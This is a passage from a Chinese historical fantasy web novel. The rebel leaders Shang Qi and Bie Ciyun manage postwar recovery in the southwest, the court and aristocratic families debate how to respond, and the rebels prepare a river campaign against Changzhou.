“我爹娘对她不好吗?”霍连又不是傻子,村长独独给他说这话,便是悄摸告诉他,家里人苛待他娘子。 李村长摇头,“好不好我不敢明说,毕竟你爹娘也是要脸面的人,在外不曾苛待,但关起门来,哪个晓得。” “我晓得了。”村长话说到这个份上,在没有不明白的。 “你晓得就好,听说玄甲军给了你们遣散费,这个钱不要动,也不要给你老子娘,留着去城里找差事的时候租房子用。” “嗯。” 同霍连这样一走,家里就薄待娶来的娘子郎君人家不在少数,到底情分是相处出来的,参军一走这么多年,是生是死都不知道,哪个还指望他们回来给爹娘阿耶养老。 …… “第一批兵丁已经陆陆续续都回去了,目前没出什么乱子。”宋月隐是负责这事的,“不过之前盘点籍贯的时候,军中不少人家家里都没人了,这事是现在告诉他们,还是等他们回去自己看。” “告诉他们,也好叫他们有个心里准备。”别此云说着又补了一句,“不管他们是回原籍还是在其他州安家,只管把厉害关系说清楚。” 宋月隐点头,多半大部分人还是要回原籍的,哪怕是家里没人了,但一间从前的草房还在,也算是有个家。 这头宋月隐刚走,尚柒就打外头回来,黄州的情况他总是要亲自去看的,比起忠州,黄州恢复生息肯定会更快,黄州的人口也没什么折损,又有礼县牵头,只怕费不了多少功夫,也要赶上应州盘州的进度。 唯有忠州因为折了人口,也荒废了不少田地,想要恢复从前的日子,需要费些功夫。 “黄州情况比我预想的好,今年不再动兵戈,加紧发展,等到明年,粮食和兵马会更上一层楼。” “好事,和西北还有草原换马的事也有了进展,只是一开始都是小规模交换,马匹牲畜够全西南百姓使,还要几年。” 牛马是民间硬通货,无论是拉车还是耕地,都是最缺的,虽说应州那边也开始有百姓在小规模养牛,但紧靠那点牲畜都不够应州消耗的。 更不说现在缺乏机械动力,很多活还是要人工,牛马能够帮衬一部分提高效率,但数量不多,导致不少人手都被困在简单的力气活上,不能释放到其他更需要精密操作的工作上。 好在人口还没大规模增长,不至于说负担不起如今的消耗,也得亏双季稻解了粮食荒,不然要在西南发展还有的熬。 “咱们已经不禁百姓和昌州那边来往,只怕朝廷也已经收到部分消息,北面迟迟没有动静,我看新帝早晚要寻咱们的麻烦。” “不是早晚,我看新帝登基,必要燃上几把火的,北面外敌不来,咱们就是首当其冲拿来立威的。”尚柒早对朝廷开始戒备,昌州那边也是安插了不少人手盯着。 “也不一定,新帝不及前太子冲动,若能忍一时之气,甚至要和咱们谈和,也不是不可能,毕竟眼下大历朝廷可再经不起大动兵戈。”广运帝临了一手,可算是把大历国运耗了个一干二净,新帝接手这烂摊子,真能起死回生当初也不会和那几个蠢货打的有来有回。 “他若真要来求和,倒是便宜了咱们。”毕竟要打,肯定会对他们的计划推进产生影响。 别此云轻笑,“说不得朝廷还如之前一样装死呢?新帝的威胁咱们可以放一放,但世家可不能掉以轻心,国将不国,最着急的可是他们。” 而正如别此云所言,长安如今的世家,的确有不少如热锅上的蚂蚁团团转。 第155章 玄甲军刚冒头的时候名声不显, 朝廷这里才收到消息不久,又遇上天花泛滥,导致辗转去了江南, 那时候连长安都抽不出手管,更别说西南。 结果他们一回长安,玄甲军都把整个西南拿下来了, 要说有多意外, 倒也没有, 毕竟西南之地本朝也出过蜀王, 可那玄甲军行事却是千古从未有过的。 不说远了, 就说玄甲军的反贼头子有两个也就罢了, 还是夫夫档,哪有夫君造反,还把夫郞推出来的。 不少世家人猜测, 真正造反的不是那什么小地方出身的尚柒, 而是别家,但若是别家起了异心,不叫名下几个儿郎出头, 反推个哥儿出来,又叫人不解。 但这些都不算什么,最主要的还是玄甲军在西南行的政策实在与大历大相径庭, 多少西南地方豪强赶在西南未封锁前逃出来,又去长安投奔的, 可是向姻亲大吐玄甲军的苦水,只说玄甲军野蛮,竟不管不顾的抢夺人家产。 虽说历来乱军夺人家财不是新鲜事,但玄甲军竟连投靠的家族都不给面子, 甚至宁可逼走这些人,也要褫夺他们手中田产,转头分给一些白身。 这事世家如何能接受,哪个大世家手中没有万亩良田,一口气全叫玄甲军夺了去,岂非是顷刻就要家破人亡。 于是朝中想要和玄甲军打起来的不在少数,甚至不少和别家有干系的人家,也都被参了一本。 可造反的事历来不牵扯出嫁子女,而且经过江南一场内乱,新帝清缴了不少太子党和旧皇一派,如今正是用人之际,不可因为这些事大动干戈。 更不说,世家吃瘪,皇帝是乐见其成的,但这玄甲军的确不得不防,看这玄甲军的架势就是要反了大历魏氏的江山。 朝会上。 新帝看向争吵不休的各位大臣:“诸位,是打是和,务必要尽快商讨出个结论。” 要说打,户部兵部都是不肯的,要说和,又咽不下这口气,这时候讲和难道玄甲军兵强体壮就不打过来了。 讲和那是养虎为患,这个道理但凡有点政治头脑的都清楚,只是眼下朝廷弹尽粮绝,便是饮鸩止渴,也是没办法的事。 朝会连讨几日,最终迫于国库无粮,出兵之事不了了之,而要说和,便要派遣大臣去西南,自古两军交战不斩来使,朝中也非全是贪生怕死之辈,倒也有几人愿意主动出使西南。 可偏偏这时候,闹出了大事,别家嫡系嫁了人的娘子郎君,竟齐齐不见了,如此大张旗鼓的行径属实打了朝廷的脸,叫原本谈和的事也不了了之,都想就这么拖着。 改明年,朝廷收一岁的粮草,再行兵戈,他们自认为朝廷手握重兵,若非没有粮草,再没有打不赢的仗。 谢家。 要说如今几大世家,谁对玄甲军有交好的意思,那必是非谢家莫属,谁叫谢家十三郎连着夫郞一块陷在西南。 当初求医,玄甲军不过占据一州,还当不打紧,哪想求的医就是乱军头子,得亏谢十三去西南的事知道的人少。 世家子弟又喜欢各处游历,谢十三不在府邸没什么人过问,不然谢家早要被问罪了。 “西南还是没传出十三的消息?”谢家家主尤为焦心,虽说他膝下孩子不少,但谢琅天资聪颖,只是无心官途,不然谢家必要倾尽全族之力扶持的。 “还未曾得到回信。” 自从玄甲军主公明牌,谢家就不止一次召集族中人议事,直到玄甲军占据西南后,谢家放才起了和玄甲军私下接触的心思。 而谢家有意和玄甲军接触,必然是要过谢琅的手,如今西南都和昌州有了往来,却还是没收到谢琅的回信。 难道玄甲军无意要谢家的投诚?那么当初为何费劲心思拐骗谢琅去西南? “朝廷如今是指望不上了,我瞧着也就还有三五年的国祚,如今天下大势,同我等一样的世家不见有人冒头肖想皇位,玄甲军便成了上等。” “爹,话也不能这么说,其余几家私下里有没有私心,咱们也不是他们肚里的蛔虫,哪能知道的一清二楚。 但国之将亡,天下英雄自有逐鹿者群集,玄甲军虽拔得头筹,却又不见得能赢到最后。” 大历开国便是如此,前朝将亡之际,想要逐鹿天下的势力犹如春笋冒头,大历魏氏当初也并不是占尽先机,可最后的赢家既不是最早起义的势力,也不是占据王都的势力,而是后来居上的魏氏,可见天下不是那么好取的。 “只怕来不及,照往朝乱世来看,打下一座城池,只要有精兵猛将即可,但治理一座城池,非要我等出马不可。 但你再看西南,三年过去,玄甲军不光占据四州,还治理的井井有条,甚至不少去西南回来的人都道如今玄甲军治下比从前大历要繁华。 且,玄甲军已经占据西南,若真是逞一时之勇,直接趁朝廷无力还手打来就是,说不得顷刻就能登临皇位,但玄甲军按兵不动,可见不是鲁莽之辈。 任何势力能不能成事,都要看主公如何,我看后起之辈想要胜过玄甲军,难如登天。” 天下出一个如尚柒别此云这样的人才已经了不得。 “那父亲的意思,不管玄甲军如何要求,咱们都得应?” “至少再送一两人去西南,不然等玄甲军兵出中原,咱们再想拉拢就晚了。”谢家家主说罢,捋了捋胡子。 世家大族在乱世中灭族是常有的事,即便是谢家这等人家也不敢说能够保全一族。 往前数几百年,那时候占据天下的世家又哪是他们这六家。 …… 大江之上,冯风站在行船头,这次的船只都载着西南任用的官眷,连带着别家许多嫁出去的姑娘哥儿也都一并接了出来。 按说像是别洵松这一辈,膝下孙儿孙女都有了,便是别家造反,她们也早是其他人家,谈不上愿意因为此事离家,毕竟皇帝真要是杀了他们,世家也不允许。 可别此云专门遣了人来请,亦有愿意拖家带口搏一搏的,如此一行船只倒是装了个满满当当。 依冯风看,这满满几船人,非是亲眷,而是玄甲军能任用的人才,不说远了,这些娘子郎君,都是除去小门小户都是世家出身,认字识政都是信手拈来,这西南就缺有本事的人。 “冯管事。”别秋蕴从船舱出来,她是别景和的亲妹,与别此云乃堂亲,自然是在为首的船里住。 要说别主公这一辈,也就嫁了这么一个姑娘出去,这回来接人,本也没指望人能跟着走,因为听闻别秋蕴夫妻二人和睦,膝下有才养了两个孩子,小的甚至才出生没多久,谁料,这别小姐出人意料,不光自己当机立断要走,还安排带了两个孩子。 “别小姐,外头风大,且回船舱避避,若是路上见风风寒,可就不好了。”冯风是晓得世家公子贵女一向娇贵,便是水路比陆路已经好走许多,但比不上在家里。 “无妨,当初阖家往西南去,我因夫家去江南不能跟去,如今辗转竟还是去了西南,不知堂兄他们和我哥哥如今怎么样了?” “别主公自是好的,小别大人如今也在盘州做事,别将军如今在黄州,去岁和樊将军先攻占忠州,又一鼓作气拿下黄州,想来要在黄州呆一阵,年中大抵会回来一趟,到时候别小姐便能得见。 而其余别家亲眷也都在盘州,只要江船一到西南就能得见。” 别秋蕴点了点头,又筹措了片刻,才继续:“我见西南已经拿下,堂兄和哥夫准备什么时候往中原去。” “怎么也要明年去了,别小姐担忧夫家?” “冯管事哪里的话,我带着儿女和嫁妆人手一走了之,这婚事是不成了,他们家在长安有吃有喝,便是玄甲军打来中原,没有三年五载是过不去长安的,不值当我担忧。”别秋蕴与夫君关系自然是好的,只是自从别家的消息传入长安后,夫家便冷待着。 若非是舍不得两个孩子,她早就自己想办法去西南了,如今正好,堂兄遣了人来接她,一路上倒不必担心匪徒之类的危险。 “冯管事,我见沿道过来接应的人里,还有姑娘哥儿,玄甲军用人是什么都不拘吗?” 冯风闻言,大笑出声:“别小姐,玄甲军的主公有两位,连主公是哥儿玄甲军都照样听令,任用一些姑娘哥儿做事,岂不是正常。” 别秋蕴一顿,的确,连做主的都是哥儿,如何不能任用姑娘哥儿做事。 是她脑子不清醒了,也怪她在家中的时候与堂兄关系不亲近,从不知堂兄还有这等沟壑,意图登临皇位。 “家中娘子郎君也在做事么?” “正是,到了西南,别小姐和船上诸多娘子郎君,也要出去做事,可没有闲着的时候。” 竟是如此,别秋蕴闻言愣愣的看向波涛滚滚的江水,仿若她之后的人生,也将有一番波澜壮阔。 第156章 正是盛夏, 西南也正值雨水季,这时节卖伞的最好挣钱,盖因这西南的百姓有空的没空的, 每日都是要出门的,就说上工,可不是下雨就不去的。 有些工坊给安排住宿, 从宿舍到上工的地方都有连廊, 甚至中间去食堂吃饭也淋不着雨, 但多数人家能住自己家还是住自己家。 遇上雨天, 可不是顶着油纸伞也走不快当, 那伞差了的不过几回就给打个稀耙烂, 叫人再舍几个钱买新的。 时下西南百姓,便是去岁拿下的黄州都已经有模有样了,玄甲军与西北和草原之间的生意也是越做越好, 连正经商路都做出来了, 不光玄甲军,就是西北和草原也有看准商机,往西南来的。 只是一路不好走, 不过入了西南境内,倒不必担心打家劫舍的事,虽说西南多山, 但沿道再没见过山匪水匪,更不说玄甲军治下, 好手好脚做什么不能得一二钱财养活自己,何苦干那掉脑袋的活计。 尚柒上衙,也是要淋雨的,好在官衙置办的伞都是经过品质验证的好伞, 便是打了几个雨季,也都好用着,不过等明年到了中原,许是能错过雨季。 “主公,草原那边去岁雨水丰沛,牛羊产出极好,年前与咱们交易了一次,如今又到年中,可再大规模交易一次。”草原历来是不能种粮食的,因为降水在丰沛也比不上中原。 “应州盘州的牲畜荒暂时缓解了,但黄州忠州还紧着,可以接触,不过也多留个心眼,这两年草原也和中原一般元气大伤,和咱们交易虽是互利共赢,但也谨防养大了他们的胃口。” 西南本地也能养殖牛羊,只是从前养的少,去岁四州一统,规划了新的养殖区,但一口气也吃不了个胖子。 再一个西南牲畜荒解决了,中原不还有的等,封建朝廷牛马从来都是稀缺的,甚至耕牛暴毙,还得上报官府,若是人为损害那是得蹲大牢的。 “近些时候草原的确动作频频,不过根据情报部送来的消息,不像是要打来中原,而是草原部落之间再打内战。” 草原历来以部落群居,你打我我打你再正常不过,现在草原互殴多半是从前统管部族的首领不成器,有人想取而代之。 “叫人继续盯着,一般这种打完了内战就往外打的不在少数。”虽说草原动兵暂时挨不着玄甲军,但真要打进中原,到时候尚柒和别此云还要加班加点的把人赶出去,白费一番功夫。 再说真叫突厥打进中原,到时候在中原来一场坚壁清野,玄甲军过去又要多少时间才能恢复生机,必要时刻提防。 “是。” 又翻过几个有关黄州忠州的汇报,尚柒才算缓口气,黄州是地势不好,忠州是人口不多,比起当初盘州应州发展,要困难许多。 但尚柒也不是一口气要吃成个大胖子,只要黄州忠州不至于在日后打中原时拖后腿,便已然很好了。 根据送来的汇报看,黄州忠州的发展比他想的要好,至少去岁冬日,两州的死亡率是降下去了。 亏得玄甲军备足了棉花和药材,又叫兵丁下乡勘察百姓的房屋,方才避免了祸事,这也是西南地区落雪不算多,到了中原,尤其是往北走,冬日落雪厚厚一层,年年都有被雪压塌房顶死了的,只大部分官员知情不报,瞒住了上面,但日积月累也不是小数。 “阿兄。”尚乌桕已经不在是到人大腿高的年纪,可惜这些年阿兄又长高了不少,叫尚乌桕尚南枝站在一旁看着,依旧是挨个。 “怎么过来了?不是再忙医院的事。”尚柒抬头,盘州城的医院是早两年就搭了架子,不过大夫人手不足,去岁才堪堪尝试运营,到今年勉强像个正轨的卫生所。 说是医院,手术还做不得,不过尚乌桕已经跟着不少仵作师傅学着解刨人体,毕竟阿兄说有生之年说不得能给病人开肠破肚治病,他早学一些日后也更好上手。 “这不是去昌州那边义诊的人回来了,还带回来不少消息,我想着肯定总要,先给阿兄送来了。” 有了医院义诊也没少,毕竟年轻的学徒想要尽快诊病,义诊是最快积累经验的办法,连尚乌桕都跟着去了不少次,昌州他也去过一回。 “我看看。”昌州打去年开始,玄甲军没少接触,不少地方官员对玄甲军都是睁一只眼闭一只眼,毕竟朝廷也没见给出个说法。 说玄甲军是逆党,但朝廷不曾出兵剿匪,说玄甲军和大历分而共治,也没见派出个使臣谈和,不上不下的僵着闹的昌州的官员也不知如何对玄甲军。 不过有一点,昌州官员都识时务,没办法,昌州离西南就隔着一条大江,而和朝廷还有上千里的距离,得罪了玄甲军,朝廷赶过来都赶不上给他们收尸。 如此一年多下来,昌州百姓对玄甲军倒是观感极好,不过玄甲军治理对百姓来说有好有坏,最好肯定是每个百姓都能分到田,再一个也能叫家里孩子念上书,寻常人家寻份养家的活计也不在话下。 但不好的地方,就是和大历规矩大相径庭,不说远了就是姑娘哥儿出门做事,就有不少人家说嘴,亏得读书人不多,不然指不定要掀起怎样的舆论。 当然对平头百姓来说,规矩还不至于大过天,毕竟比起规矩还是好日子更重要,他们也不是傻子,沿江的百姓舍几个钱做玄甲军的船去西南附近的县城走一趟,就再清楚不过西南百姓过的什么日子。 不说顿顿大鱼大肉,桌上隔三差五见个荤也是有的,乡下人家,可能没那么舍得买肉,但每日桌上的主食,也不再是粗粝的米糠,奢侈些的顿顿白饭,俭省些的,也是粗粮掺了细粮。 又因西南大规模养鸡成了,鸡蛋的价格一降再降,村里养鸡下的蛋,百姓也多自己吃了,毕竟义诊过的大夫都说,不吃肉,豆蛋也能补身体,如今日子变好了,总不能连个好身体都没有。 见识过好日子,昌州百姓自然也是蠢蠢欲动,不过昌州的富户嘛,就摇摆不定,他们既舍不得玄甲军治下贩卖的好东西,什么铁锅、铁炉之类的用品,又不肯舍了手中田地,多是走一步看一步,对玄甲军的态度极其暧昧。 长此以往,兵不血刃的拿下昌州似乎也不是难事,但朝廷也不是吃干饭的,至少一年多过去,去岁又是风调雨顺,朝廷总不至于一点收成都没有,只是国库收入够不够出兵就不得而知了。 “阿兄,义诊回来的大夫都说,这次去昌州感觉不对劲,是不是朝廷那边派了人来。”朝廷真要是派人在昌州准备抓玄甲军的人,尚乌桕是万万不会再让他手下的大夫去的。 培养一个好大夫容易吗?阿兄和别哥哥打天下打这么久,都拿下西南四州了,手里的大夫都还不够用呢,便是第一批学徒已经有能独自看诊的,但时下百姓手中也能拿出些钱来看病,不说远了,就是县里的医馆也常常人满为患。 义诊队伍除开看病的大夫还有不少学徒,真要是都折了,不知要多少时间才能培养回来。 “大历朝廷真要是派了人,不会叫他们回来,多半是只是查看情况。”也看看昌州官员到底还忠不忠于朝廷。 “那也不成,好端端干什么派人过来,无事献殷勤非奸即盗。”显然在尚乌桕眼里,昌州已经是玄甲军的囊中之物,怎么还能叫外人鼾睡。 “这事我知道了,你且回医院忙吧。”尚柒这辈子很难成个专职大夫,且真论医术,不见得比出了这么多次义诊,又集西南百家之长的乌桕高,真是做什么都是不进则退。 昌州,他是他算明年出兵的,若是朝廷真等不及,今年秋收遣别景和走一趟也能赶在年前拿下,冬日天寒地冻,朝廷若要派兵过来,也没那么快。 别此云倒不是尚柒思虑,今日他出外勤,在盘州城各个官衙机构巡查,因为地盘也算是大起来,他和尚柒再不能亲力亲为,连从前的生意也都只能抽空出来看看。 亏得书墨琴砚帮衬,不然这么多事他一个人哪里能办的完。 “福利院的孩子是一年比一年少了,不过外州进来倒是接受了不少外州送来的孤儿。”这个外州就是昌州,昌州和西南通商后,不少人都看到西南的福利院,有点良心的商人,就把本州一些孤儿连带着走水路送过来,也算是救活一条命。 本州因为百姓日子好过,弃婴的确越发少,但也不至于到没有的地步,其余就是因为天灾人祸没了爹娘阿耶的,这部分原本是不少,就说忠州,福利院刚开起来,就有不少孤儿被收留。 但随着玄甲军一步一步治理,还能因为天灾人祸离开的少之又少,顶多是得病没了,才不得已将孩子送进这地方。 “接手孩子倒没什么,但也要警惕是否有人安插探子在里面。”利用孩子打探情报从不是新鲜事。 “主公放心,这些孩子也接触不到什么重要消息,每日除去在私塾念书,就是帮着做些手工品,能卖的几个钱换糖吃。” 玄甲军的财政还算健康,但用钱的地方还多得很,不至于说能给福利院开到什么顶好的条件,到底西南治下营养不良的百姓还占一半多。 不过吃饱没问题,像是糖、零嘴这样的东西,非得逢年过节或是好心人捐赠才能吃到,若是平日无事做些小手工能换这些东西,孩子们还是很乐意的。 “嗯。”别此云细细看过福利院的孩子,的确没有面黄肌瘦的,便往下一个地方去。 今日这场雨也实在是大,希望回衙门的时候别被淋成落汤鸡。 第157章 “朝廷这两年装聋作哑, 还当他们已经放弃和咱们对抗了。”别此云顶着雨回来,听闻昌州的消息,言辞间颇有一番讽刺。 “放弃西南还有可能, 放弃昌州是不可能的。”西南到底隔了一条江,划江而治,也不妨碍大历, 毕竟西南税收是比不上江南一带, 少了税收, 同样也不必给西南拨军饷, 到底不算亏的太多。 可一旦玄甲军出兵中原, 必会危及新帝的位置, 本来新帝上位就匆忙,手中势力也杂乱的很,真有多少能听新帝的, 怕是几个手指头都数的过来。 “那就该早些出兵驻扎在昌州。”不然等玄甲军兵贵神速到昌州, 大历那头黄花菜都凉了。 “只怕也是有心无力,刚收到的消息,江南那边也冒出了几支乱军。”江南富庶, 新帝登基国库空虚,可不一个劲的变法子收税,杂税去年就增加了两项, 今年眼看着还要加,百姓的日子是过不下去了。 左右玄甲军冒头这么久, 朝廷也没拿出个章程,心里打了算盘的人家必然不在少数,这几支乱军,真是由乱民组成的怕是不多, 背后定然也离不开几个大世家的影子。 “这时候冒头,倒也算是帮了我们一把。”比起昌州,江南的重要性不必言说。 “草原那边也不太平,正在内战,说不得内战出来的新首领想着一口气南下,到时候大历腹背受敌,对咱们其实不算好消息。” 别此云微皱起眉头,他自然晓得王朝末年,莫说两三方势力打起来,就是几十个势力你打我我打你都是有的,但这样的乱世消耗的还是人口,别看如今还处于农耕时代,一旦打起仗来,严重的千万人也能折进去。 “草原暂且不提,江南的乱军,咱们要摸摸脉吗?”背后是哪家人最好打探出来。 “查肯定要查的,但我想既然朝廷暂时被江南牵制住,咱们干脆趁这个机会秋收后出兵昌州,年前稳住昌州,年后再往外扩。” 尚柒起了要打的心思,别此云翻看西南四州送来的财报,钱是如流水一样花出去了,但百姓挣了钱,填饱了肚子,消费能力也往上涨,就说最基础的布匹,如今的销量比起大历不知高出多少。 便是连乡下百姓,平日也扯几尺布回去裁衣,再不见穿打补丁的衣裳,粮食更不必提。 新稻种产粮高,玄甲军没有世家,官府收税也不白吃饭,就是从前大历,只要分配公平,以前的粮食未必不能养活百姓,只是天下八成收入都在那一成人里,如何能叫人吃得饱。 所以玄甲军这里的粮食只有多的,粮价已经一降再降,村中百姓卖粮已经卖不上价了,于是许多百姓也肯将田地空出来一些种其他东西。 像是蔬菜,从前百姓是不肯多种的,一来吃不完,二来拿出去卖有时候路还不好走,现在玄甲军将各村通往县城镇子的路修好,菜市买菜的百姓也多起来,再一个卖不出去工坊也是愿意大批接手的。 “粮草没问题,那你打算这次要谁出兵。”打西南四州,出力的是樊泊,若非是别景和冒头,军中大抵是樊泊一个人说了算。 若是别景和不是别家人,大可以任其作为,偏别家身份敏感。 “二堂兄,好歹人已经在军中憋了这么久,真要是一点机会不给,当初就不该叫他入军营。”尚柒还是贯彻那头用人不疑,疑人不用。 “你既然有这个魄力,我有什么担忧的,不过这次出兵,也将如娘子领的这支队伍派遣出去。” “也可,昌州拿下咱们暂时不过去,新律想要实行,她们也能立个榜样。” 总算是把大事定下,也亏得尚柒和别此云赶在一通西南前就打好了框架,如今玄甲军运转也不再只靠尚柒和别此云做主。 各州的负责人也都是精挑细选出来的,加上玄甲军大力推行识字,一般官员还真阳奉阴违不了,毕竟玄甲军各地都有驻扎,真要是有喊冤的,不消多少时候,就能把人摁了。 “昌州拿下,你准备派谁去?”要说统领一州的人,他们手里还真没多少个。 盘州是王襄,这个暂时动不得,应州是宋月隐,忠州是蔺肃,黄州是蒲方成,其余人手,要么是能力不足,要么是年纪太轻。 “从别家挑一个趁手的如何?”别家阖家都过来了,要说有本事的人自然不少。 “那就从女子和哥儿中挑一个。”显然别此云不打算给更多别家儿郎机会。 尚柒没意见,此云这一手既安抚别家,又给自己增长了助力,要说别家能干的人在他们跟前办事也不是没表现的机会,真要叫人去地方也没几个有这个魄力。 而别家的姑娘哥儿,也都人才济济,就说别景和的亲妹妹别秋蕴,到了西南一展所长。 “你想选谁?” “四叔家的堂弟正是年纪。”四叔年轻,名下只两个孩子,老大是哥儿,如今正满十八岁。 若说在大历,莫说十八岁的哥儿,就是十八岁的儿郎也不敢如此委以重任,但别此云既然挑中了人,说明人也有这个本事。 “我记得,他在月隐手中做事。”别家人都在盘应二州,安排的职位也多是如大历中央一般,不涉及管理地方之事。 “嗯,月隐说他是可造之材,我想着可用。” “那便他吧,等昌州打下来,咱们也算是再进一步。”尚柒起身活动了筋骨,要说他和此云的年纪,算不得大。 虽比起年少继位的帝王不如,但和开疆拓土的比起来,他们不知年轻多少,真等打下大历,也不过是几年间的事,时下西南实现的种种政策,反馈效果都不错,若是中原能够顺利推行,他们不说一举全全推翻封建帝制,但也会迈入不一样的时代。 可西南自古就少受礼教波及,儒家文化思想也不重,中原就不一样了。 “想什么呢?”别此云走上前,伸手戳了戳人的脸颊,比起初见时,尚柒的面容要更锋利一些,也褪去一些年少时期的青涩,倒是叫人越发喜欢。 “只是在想,咱们到了中原,推行这些政策也不知要闹出什么样的风雨。” 别此云闻言嗤笑出声。 “有什么好笑的。”尚柒无奈见人眉眼弯弯,也伸手捏捏人的脸颊,比起初来西南,如今的脸颊终于是有些肉了,可见水土不服终于是过去了,只是到底事多,依旧消瘦。 好在有他在一旁照看,此云的身体比从前好了不少,不然就这个工作强度,早晚要把人心力消耗个一干二净。 “我只是笑,你真要想这些,那可就有的想了,你我虽都决定要改一改千百年的规矩,但现在知道咱们心里全全想什么的却少之又少。 莫说政策,就是你我最后说不称帝,不知有多少人要哭天喊地。” “帝不帝的其实没什么,左右不过是个名头,没有糊弄人的‘天子’噱头,又分权到各处,就是顶着皇帝的名头也不过名存实亡。” “你我人生不过百年,能做到这个地步也算不虚此行,但怕就怕百年之后,咱们所作所为都被倾覆,人死政消历来有之。” “你想的比我还长远,政策总要有后来人接替,时下咱们还年轻,培养下一批接手的人也来得及,只要根基不乱,总不会比封建王朝活的还短。” “这也说不好。”天底下想当皇帝只多不少,真要是让有野心的人登位,王朝复辟不过时间问题,但这要是发生在一百年两百年之后,他们想管也管不了。 “那咱们就不再胡思乱想,当初起兵咱们也没想到今日,不过是走一步看一步,想太多忧思过重,难免耗费心神。” 尚柒本也没多大的野望,走到如今,不过是一步接一步,和此云相互扶持过来罢了,也是大历自己不争气,真要是在大历强盛之际,他们起兵造反哪能这么容易。 “好,正好肚子也饿了。”若是外头没落雨,别此云估摸着要拉着尚柒乔装打扮去外面觅食,时下小吃摊滋味已经很不错了,大锅食堂的厨子多比不过,像是衙门做事的小吏官差,从前为了省钱还在食堂吃,这会也隔三差五到外头打牙祭。 尤其是外面卖肉食的多起来,虽价钱要高出不少,但人总是喜欢吃肉的,不求吃肉吃到饱,但犒劳犒劳嘴还是能办到。 “看时辰,胡娘子的饭应该也要送来了,也不知今日胡娘子做了什么好吃的。” “天气热,多半不是什么炖菜。”炒菜从前在礼县已经普及了,胡娘子手艺也都是多年练出来的,比过西南不少大厨,也就是胡娘子不愿意自己开个食肆饭馆,不然生意保管不差。 “凉菜卤菜也都是好的,只可惜没有辣椒,西南的茱萸辣味勉强,也不知什么时候能吃上辣。” “等着吧,说不得哪日就有了。” 尚柒叹气,还是尽快打下沿海要紧,如今造船的技术还不成,真要是死磕出远海的船,还不知道要多久,走陆路也不知道怎么样了,万一路过什么地方被当地土著给抓了,莫说回来,命保不保的住都是个问题。 第158章 说要动兵, 自然是不耽误的,时下玄甲军还算得上尚柒和别此云两人说了算,下面的得力干将们也都闷头照做上面的吩咐, 像大历朝廷吵做一团,十天半个月都干不成一件事的情况完全不存在。 不说远了,就是玄甲军驻军到各县城, 打兵丁入城算起, 十天半个月还没把户籍人口清算好, 那什么好东西送过来都要慢上一步。 别看应州盘州几年下来已经稳当, 但两州供应四州还是有些紧凑, 毕竟西南因为地势缘故, 繁华程度是赶不上江南的。 且玄甲军治下什么都将效率,就说衙门做事的小吏,从前都是水磨工夫, 上衙也没几个认真做事的, 平日里在百姓跟前狐假虎威占便宜的倒不少。 而玄甲军的衙门,上下纪律严明,当差的时候莫说在街上打秋风, 就是在工位上偷奸耍滑,被上官看见了,都是要斥责的。 毕竟玄甲军给小吏的工钱也不少, 平日里吃喝不追求大鱼大肉也都不必花钱,若花这么大价钱养个懒汉不做事, 当玄甲军是天下第一善人吗? 如此,玄甲军行事作风一改大历的懒懒散散,连街上洒扫的老头老太,也都干的相当起劲, 就怕慢一步便丢了这份活计。 别景和自入军营后,动兵动枪的时候不少,但打黄州被拿下来后,还真没上过其他战场,顶多是带兵清剿原本州内的土匪。 可土匪又有多少,也没什么大寨子,不过派遣百来人就能扫荡。 这会子一收到要打昌州的消息,主公又点名让他带兵出征,整个人都容光焕发,迫不及待的拿了点名册开始点兵。 除去能够带兵遣将外,别景和最主要的还是想离家里远一些,非是不孝顺,而是打来西南后,也有几年光景,年纪越发大起来,原在长安阿耶催婚就催的厉害,到了西南,家里人娘子郎君寻了事做,一时半刻放松了警惕,过了最初忙碌那个劲便又旧事重提。 亏得堂弟拎得清,不光不催他,还给挡了不少为他说的亲事,但清官难断家务事,便是堂弟如今坐头把交椅,连祖父都要听堂弟的,一到家事,堂弟也难免被催。 就说尚柒和堂弟成亲多久了,连个子嗣都没有,日后皇位后继无人谁还要替他们卖命。 不过瞧着尚柒和堂弟半点不为所动,就知道两人自己有主意,他也投桃报李不会多问,只是怕就怕有人起了什么歪心思,想着要是堂弟和尚柒名下无子,到时候要催人过继。 这个主意只有别家打得,若是堂弟没管实事,别家撑死了就是想尽办法要堂弟膝下养一个孩子,便不是己出,只要从小养在身边和亲生的没差。 偏堂弟明摆着和尚柒平分大权,既然这皇位有堂弟一半,别家可不有叫自家人上位的意思,毕竟尚家的亲戚都不成器,早早断了亲,尚柒便是想要孩子也绝计不会从亲戚那边过继。 这事眼下还没什么端倪,也是玄甲军如今还没出西南,等玄甲军兵入中原后,才会暗戳戳的冒头,他已经将利害关系说给堂弟听了,但堂弟似乎并未放在心上。 也叫别景和好一顿急,但他急也没用,他也不能给人变出个孩子来解决问题,不如专心领兵,做好将军的本职。 玄甲军是要走水路去昌州的,这些年沿江的船坞没少建江船,西南不少逃走的商人家,也都养的有船,带不走的全便宜了玄甲军。 所以运兵出西南并非难事,至于昌州见玄甲军大军将至,会不会在码头阻拦,就看昌州的官是否聪明了。 …… 岸上。 大军行舟,不少岸上的百姓远远的也看个热闹,西南和中原恢复来往后,江上的船只比从前只多不少,但也没见一口气有这么多江船出动,说一句百舸争流也不为过。 “这是派遣多少兵汉去啊。” “这哪个晓得,一眼看去乌泱泱的全是人,也不晓得我家小子在不在船上。” “该是不在,不然出兵前无论如何也要回家一趟才是。” 一旁的婶子闻言,又是高兴又是失落,高兴是家里孩子不必在战场上拼命,失落的是玄甲军出兵没有空手而归的时候,若是能挣得战功,也能一跃成为军官。 “诶,你瞧瞧,那一船上,可都是娘子郎君,我的老天爷啊,这次怎么还把娘子郎君派上去打仗了。”玄甲军招娘子郎君入伍早就人尽皆知,只是如今西南寻个活做不难,连不少汉子都怕死不愿意参军,更不提娘子郎君。 平日街上执勤倒是没少见穿甲的娘子郎君,但上战场还是头一回见呢。 “入伍自然是要上战场的,不然上面白花钱养她们。” “不错,能上战场才叫人放心,不然你瞧私下里有多少人编排,说是玄甲军明面上不许开妓院,军营却暗地里招娘子郎君,实则是给军营里的汉子耍乐的。” 就这,还是明知道娘子郎君的军营不与兵汉在一处传出来的,好在玄甲军这里造谣生事都是要抓了去做苦工的,不然早闹的沸沸扬扬,怕那些在街上执勤的娘子郎君都不得安生。 出兵的队伍不知岸边百姓叽叽喳喳,只管好自己的事,他们在玄甲军受训,早与大历军队全然不同。 最要紧的,必然是个个认字,所以别看大部分都是莽汉,实则一个个也早不如从前一般粗枝大叶。 